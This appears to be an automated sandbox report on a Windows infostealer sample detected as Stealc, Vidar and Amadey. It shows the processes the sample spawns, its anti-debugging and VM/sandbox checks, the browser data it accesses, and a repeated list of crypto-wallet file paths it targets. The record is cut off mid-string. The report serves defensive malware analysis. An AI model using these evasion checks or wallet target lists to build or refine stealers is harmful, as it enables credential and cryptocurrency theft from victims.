Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

API coverage: 0.8 %

Source: C:\Users\user\Desktop\file.exe TID: 4160	Thread sleep time: -30015s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 2924	Thread sleep time: -56028s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 2184	Thread sleep time: -58029s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 2792	Thread sleep time: -36000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 2264	Thread sleep count: 31 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 2264	Thread sleep time: -62031s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 2324	Thread sleep time: -56028s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 4140	Thread sleep count: 31 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 4140	Thread sleep time: -62031s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 4040	Thread sleep time: -58029s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7080	Thread sleep count: 86 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7080	Thread sleep time: -2580000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7080	Thread sleep time: -30000s >= -30000s

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1008198001\f3f60a7f50.exe	Last function: Thread delayed

Source: C:\Users\user\DocumentsIJEGDBGDBF.exe

File Volume queried: C:\ FullSizeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C96C930 GetSystemInfo,VirtualAlloc,GetSystemInfo,VirtualFree,VirtualAlloc,

0_2_6C96C930

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior

Source: Web Data.10.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
Source: skotes.exe, skotes.exe, 00000019.00000002.3483401819.0000000000A28000.00000040.00000001.01000000.0000000E.sdmp, f3f60a7f50.exe, f3f60a7f50.exe, 0000001B.00000002.3485548339.0000000000BCE000.00000040.00000001.01000000.0000000F.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: Web Data.10.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696487552\|UE
Source: Web Data.10.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696487552u
Source: Web Data.10.dr	Binary or memory string: discord.comVMware20,11696487552f
Source: Web Data.10.dr	Binary or memory string: bankofamerica.comVMware20,11696487552x
Source: f3f60a7f50.exe, 0000001B.00000002.3488386085.000000000165E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllP
Source: Web Data.10.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
Source: file.exe, 00000000.00000002.2811087344.0000000023B18000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: file.exe, 00000000.00000002.2781502054.0000000001763000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2781502054.0000000001795000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000019.00000002.3486643108.000000000108B000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000019.00000002.3486643108.0000000001059000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: skotes.exe, 00000019.00000002.3486643108.000000000108B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWx(
Source: Web Data.10.dr	Binary or memory string: ms.portal.azure.comVMware20,11696487552
Source: Web Data.10.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552
Source: Web Data.10.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: Web Data.10.dr	Binary or memory string: global block list test formVMware20,11696487552
Source: Web Data.10.dr	Binary or memory string: tasks.office.comVMware20,11696487552o
Source: Web Data.10.dr	Binary or memory string: AMC password management pageVMware20,11696487552
Source: Web Data.10.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696487552d
Source: file.exe, 00000000.00000002.2811087344.0000000023AA1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 1RECOVE~1470bankoRecoveryImprovedVMware20,11696487552x
Source: Web Data.10.dr	Binary or memory string: interactivebrokers.comVMware20,11696487552
Source: Web Data.10.dr	Binary or memory string: dev.azure.comVMware20,11696487552j
Source: Web Data.10.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696487552]
Source: Web Data.10.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696487552x
Source: file.exe, 00000000.00000002.2811087344.0000000023AA1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware20,11696487552x
Source: Web Data.10.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696487552
Source: Web Data.10.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696487552h
Source: Web Data.10.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696487552z
Source: Web Data.10.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696487552~
Source: Web Data.10.dr	Binary or memory string: outlook.office365.comVMware20,11696487552t
Source: Web Data.10.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552^
Source: file.exe, 00000000.00000002.2781502054.000000000171E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: Web Data.10.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696487552p
Source: Web Data.10.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696487552n
Source: Web Data.10.dr	Binary or memory string: outlook.office.comVMware20,11696487552s
Source: skotes.exe, 00000019.00000002.3486643108.000000000106E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\yD
Source: Web Data.10.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696487552
Source: Web Data.10.dr	Binary or memory string: turbotax.intuit.comVMware20,11696487552t
Source: Web Data.10.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696487552x
Source: file.exe, 00000000.00000002.2779267032.0000000000D7F000.00000040.00000001.01000000.00000003.sdmp, DocumentsIJEGDBGDBF.exe, 00000016.00000002.2807113919.0000000000538000.00000040.00000001.01000000.0000000B.sdmp, skotes.exe, 00000017.00000002.2841895606.0000000000A28000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 00000019.00000002.3483401819.0000000000A28000.00000040.00000001.01000000.0000000E.sdmp, f3f60a7f50.exe, 0000001B.00000002.3485548339.0000000000BCE000.00000040.00000001.01000000.0000000F.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: Web Data.10.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696487552}
Source: Web Data.10.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\DocumentsIJEGDBGDBF.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1008198001\f3f60a7f50.exe	Thread information set: HideFromDebugger

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\1008198001\f3f60a7f50.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\1008198001\f3f60a7f50.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\1008198001\f3f60a7f50.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1008198001\f3f60a7f50.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\1008198001\f3f60a7f50.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1008198001\f3f60a7f50.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\1008198001\f3f60a7f50.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\1008198001\f3f60a7f50.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\1008198001\f3f60a7f50.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\1008198001\f3f60a7f50.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\1008198001\f3f60a7f50.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\DocumentsIJEGDBGDBF.exe	Process queried: DebugPort
Source: C:\Users\user\DocumentsIJEGDBGDBF.exe	Process queried: DebugPort
Source: C:\Users\user\DocumentsIJEGDBGDBF.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008198001\f3f60a7f50.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008198001\f3f60a7f50.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008198001\f3f60a7f50.exe	Process queried: DebugPort

Source: C:\Users\user\DocumentsIJEGDBGDBF.exe

Code function: 22_2_04D20DD3 rdtsc

22_2_04D20DD3

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C9B5FF0 IsDebuggerPresent,??0PrintfTarget@mozilla@@IAE@XZ,?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z,OutputDebugStringA,__acrt_iob_func,_fileno,_dup,_fdopen,__stdio_common_vfprintf,fclose,

0_2_6C9B5FF0

Source: C:\Users\user\Desktop\file.exe

0_2_6C953480

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_2_0087652B mov eax, dword ptr fs:[00000030h]		25_2_0087652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_2_0087A302 mov eax, dword ptr fs:[00000030h]		25_2_0087A302

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C98B66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		0_2_6C98B66C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C98B1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		0_2_6C98B1F7

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 5608, type: MEMORYSTR

Maps a DLL or memory area into another process

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Section loaded: NULL target: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe protection: readonly

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsIJEGDBGDBF.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsIJEGDBGDBF.exe "C:\Users\user\DocumentsIJEGDBGDBF.exe"
Source: C:\Users\user\DocumentsIJEGDBGDBF.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008198001\f3f60a7f50.exe "C:\Users\user\AppData\Local\Temp\1008198001\f3f60a7f50.exe"

Source: file.exe, file.exe, 00000000.00000002.2779267032.0000000000D7F000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: AProgram Manager

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C98B341 cpuid

0_2_6C98B341

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1008198001\f3f60a7f50.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1008198001\f3f60a7f50.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1008198001\f3f60a7f50.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C9535A0 ?Startup@TimeStamp@mozilla@@SAXXZ,InitializeCriticalSectionAndSpinCount,getenv,QueryPerformanceFrequency,_strnicmp,GetSystemTimeAdjustment,__aulldiv,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,__aulldiv,strcmp,strcmp,_strnicmp,

0_2_6C9535A0

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 25_2_008465E0 LookupAccountNameA,

25_2_008465E0

Source: C:\Users\user\AppData\Local\Temp\1008198001\f3f60a7f50.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 25.2.skotes.exe.840000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.2.DocumentsIJEGDBGDBF.exe.350000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.skotes.exe.840000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000017.00000003.2800446959.0000000004CB0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.2841327811.0000000000841000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000003.2766723506.0000000004B20000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000002.2806955478.0000000000351000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000002.3482893009.0000000000841000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000003.3263472437.0000000004BE0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected Stealc

Source: Yara match	File source: 00000000.00000002.2781502054.000000000171E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2247171846.0000000005250000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2778649643.00000000009B1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 5608, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 5608, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000000.00000002.2781502054.0000000001795000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2778649643.0000000000B17000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \ElectronCash\wallets\
Source: file.exe, 00000000.00000002.2781502054.0000000001795000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2778649643.0000000000B17000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Jaxx Desktop (old)
Source: file.exe, 00000000.00000002.2781502054.0000000001795000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2781502054.0000000001795000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron 